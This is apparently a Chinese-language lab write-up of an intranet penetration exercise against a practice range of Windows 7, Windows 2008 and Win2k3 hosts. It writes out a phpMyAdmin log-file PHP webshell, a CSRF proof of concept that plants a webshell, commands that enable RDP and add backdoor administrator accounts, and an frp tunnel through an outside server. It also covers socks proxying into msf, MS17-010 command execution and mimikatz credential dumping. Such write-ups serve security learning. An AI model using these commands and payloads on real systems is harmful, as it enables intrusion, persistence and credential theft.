这几十
G
下的我有点蒙… 不得不感慨有一部好电脑对学安全的人是有多幸福了。。
环境下载
网络环境
1 | Windows 7有双网卡,也就是内外网IP |
2 | 外网IP:192.168.31.129 |
3 | 内网IP:192.168.52.143 |
4 | 且此服务器存在yxcms |
5 | |
6 | Windows 2008只有内网网卡 |
7 | 内网IP: 192.168.52.138 |
8 | |
9 | Win2k3只有内网网卡 |
10 | 内网IP:192.168.52.141 |
很明显,要想访问Windows 2008
和Win2k3
服务器必须要拿下Windows 7
服务器,用它做跳板进内网进行横向渗透。
攻击过程
0x1.获取WEBSHELL
目标URL
:http://192.168.31.129/yxcms/
得知是yxcms
,直接百度一把搜,找到如下文章
https://bbs.ichunqiu.com/thread-45926-1-1.html
这里都是需要后台才可以getshell
的,自己审计不太现实,故打开默认后台试试弱口令
http://192.168.31.129/yxcms/index.php?r=admin/index/login
将登录的数据包放入Repeater
重放多次发现验证码没有自动刷新,故可以爆破,然后填了密码字典后放着等他跑,看看其他的点是否有漏洞~
这里爆破出了phpMyAdmin
,然后打开试试弱口令root/root
直接就进去了
phpMyAdmin GetShell
1 | set global general_log=on; # 开启日志 |
2 | set global general_log_file='C:/phpstudy/www/fuck.php'; # 设置日志位置为php代码,然后保存的日志内容写上shell就可以了 |
3 | select '<?php eval($_POST["fuck"]); ?>' # 这段查询会带入到日志中,然后就成功变成WebShell了 |
然后使用蚁剑连接
然后yxcms
后台这边burp
也跑出密码来了
账户密码为:admin/123456
,进入后台,直接上高速打POC
1 | <html> |
2 | <!-- CSRF PoC - generated by Burp Suite Professional --> |
3 | <body> |
4 | <script>history.pushState('', '', '/')</script> |
5 | <form action="http://192.168.31.129/yxcms/index.php?r=admin/set/tpadd&Mname=default" method="POST"> |
6 | <input type="hidden" name="filename" value="fuck" /> |
7 | <input type="hidden" name="code" value="<?php eval($_POST["fuck"]);?>" /> |
8 | <input type="submit" value="Submit request" /> |
9 | </form> |
10 | </body> |
11 | </html> |
打开如上html
页面就会在生成一个WebShell
在http://192.168.31.129/yxcms/protected/apps/default/view/default/fuck.php
页面,密码为fuck
0x2.内网渗透
首先查看是什么权限,是否有域
管理员权限,且有域~
然后一般拿下window
的话我都会选择去连接它的远程桌面(PORT:3389
)
输入netstat -ano | find "3389"
没有回显,证明未开启远程桌面服务,用如下命令开启
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
成功开启。
然后开启了3389
后可以选择读管理员的明文密码或添加用户,前者可能因为读不出明文密码(03
前的操作系统使用LM HASH
加密明文,可逆,越后的系统都使用新的加密NTLM HASH
),所以这里选择后者添加密码
1 | C:\phpStudy\WWW> net user test @!FuckSEC!@ /add # 添加账户密码 |
2 | 命令成功完成。 |
3 | |
4 | C:\phpStudy\WWW> net localgroup administrators test /add # 给test账户添加为管理员权限 |
5 | 命令成功完成。 |
6 | |
7 | C:\phpStudy\WWW> net user test # 查询是否成功添加test用户 |
8 | 用户名 test |
9 | 全名 |
10 | 注释 |
11 | 用户的注释 |
12 | 国家/地区代码 000 (系统默认值) |
13 | 帐户启用 Yes |
14 | 帐户到期 从不 |
15 | 上次设置密码 2020/2/1 10:27:52 |
16 | 密码到期 2020/3/14 10:27:52 |
17 | 密码可更改 2020/2/2 10:27:52 |
18 | 需要密码 Yes |
19 | 用户可以更改密码 Yes |
20 | 允许的工作站 All |
21 | 登录脚本 |
22 | 用户配置文件 |
23 | 主目录 |
24 | 上次登录 从不 |
25 | 可允许的登录小时数 All |
26 | 本地组成员 *Administrators *Users |
27 | 全局组成员 *None |
28 | 命令成功完成。 |
然后使用账号密码test/@!FuckSEC!@
登录远程桌面
哦吼!fuck
一开始猜测可能是防火墙禁止3389
端口进出网,然后经过端口转发后才发现并不是,如图
防火墙开启了阻止所有与未在允许程序列表中的程序的连接,换句话说,设置了白名单,只能本地连接,那么我们使用ngrok
的frp
创建一个TCP
隧道
1、首先在http://ngrok.cc/user.html
注册用户,然后开通FRP
服务器
2、下载frp
客户端工具
将工具上传至目标服务器,然后执行如下命令
1 | sunny.exe --clientid=隧道id |
3、然后连接xxxx.xxxx.xxx:10062
内网已进入,然后我习惯性直接上去关防火墙,然后用cs
上线
这个线上的很心塞。。
生成了好多shell
然后过了好一会才过来。
0x3.信息收集
1、使用ipconfig /all
看网络环境(查询是否有域)
2、net config Workstation
查询当前计算机名、计算机全名、用户名、工作站、软件版本、工作站域、工作站域 DNS
名称、登录域
这样也能看
3、查看进程tasklist /v
有些进程可能是域用户启的>通过管理员权限 凭证窃取 > 窃取域用户的凭证
4、显示正由指定的计算机共享的域、计算机或资源的列表。如果在没有参数的情况下使用,则net view
显示当前域中的计算机列表。
这里OWA
主机是主域控制器,IP
为192.168.52.138
,然后还有一个主机名为ROOT-TVI862UBEH
,IP
为192.168.52.141
(环境3)
而本机不是域机器所以跑不出域相关信息,着重于横向渗透。
目前知道的数据就行了,然后在本地抓一下管理员密码(Cs
跑内存HASH
、注册表HASH
)
0x4.密码获取
1、直接用cs
的hashdump
读内存密码。
2、用mimikatz
读注册表密码
1 | logonpasswords |
2 | 读出的信息... |
我们可以直接在Credentials
模块下看的清清楚楚
这里直接抓取了Administrator
的明文密码hongrisec@2019
0x5.横向渗透
横向渗透一般就是获取内网其他主机的权限
我比较喜欢用msf
来进行横向渗透,所以这里要使用到msf
,但是Win2k3
和Window 2008
都是内网主机,我们攻击机的msf
无法访问,所以我们要在Window s7
上开启一个隧道,将msf
带入内网。
开通隧道带msf进内网
1、在cs
上开通socks
通道
1 | socks 9999 |
2、在攻击机上设置proxychains
1 | vi /etc/proxychains.conf |
2 | socks4 127.0.0.1 9999 |
小白肯定会问为什么这里设置的代理是
127.0.0.1 9999
,因为我cs
的服务端是kali
,然后在cs
执行socks 9999
相当于在我kali
上开通一个9999
的socks
代理,然后我kali
直接连本地的9999
端口就可以了
3、使用代理打开msf
1 | proxychains msfconsole |
这样msf
就成功进内网啦
然后这里尝试去跑一下MS08-067
(失败)
插播! 这里用
cs
的socks
代理不稳定,我上传了ew
开了1080
监听然后也是使用proxychains
代理
端口探测
因为目标机安装了nmap
所以直接跑了
开启了445
端口,然后这里试了下ms08-067
,失败告终。
拿下xp
然后尝试了admin/smb/ms17_010_command
这个模块发现是可以的
然后直接执行添加用户命令
1 | net user test @!FuckSEC!@ /add |
2 | net localgroup administrators test /add |
查看是否添加成功
然后开启他的3389
1 | 2003上开启3389的命令行语句 |
2 | |
3 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
然后使用proxychains
连接他的3389
1 | proxychains rdesktop 192.168.52.141 |
然后这里我想让2003
系统上上线Cs
,操作过程看我这篇文章
对xp的信息收集
常规的信息收集
1 | ipconfig /all |
2 | 查看网络环境 |
1 | 有Primary Dns Suffix 说明是域内 为域机器 |
然后查看当前登录域
1 | net config workstation |
然后依次类推查询,发现192.168.52.138
是主域机器
干他!
对域机器进行渗透
端口探测
1 | PORT STATE SERVICE |
2 | 53/tcp open domain |
3 | 80/tcp open http |
4 | 88/tcp open kerberos-sec |
5 | 135/tcp open msrpc |
6 | 139/tcp open netbios-ssn |
7 | 389/tcp open ldap |
8 | 445/tcp open microsoft-ds |
9 | 464/tcp open kpasswd5 |
10 | 593/tcp open http-rpc-epmap |
11 | 636/tcp open ldapssl |
12 | 3268/tcp open globalcatLDAP |
13 | 3269/tcp open globalcatLDAPssl |
14 | 49154/tcp open unknown |
15 | 49155/tcp open unknown |
16 | 49157/tcp open unknown |
17 | 49158/tcp open unknown |
18 | 49161/tcp open unknown |
19 | 49167/tcp open unknown |
使用445添加用户
445
开放,使用admin/smb/ms17_010_command
成功,只能一条一条命令执行…
然后执行添加用户的语句
用户还是test
密码还是@!FuckSEC!@
使用ipc上传上线马
这里使用ipc
连接上传上线马,然后用计划任务执行该文件
上线成功
然后使用mimikatz
跑一下密码
直接就把域管账号密码跑下来了~
致此先这里完结一段落,后续学历了痕迹清理、隐藏攻击手段等技术后再续文缘。
祝我在内网之旅中开心成长~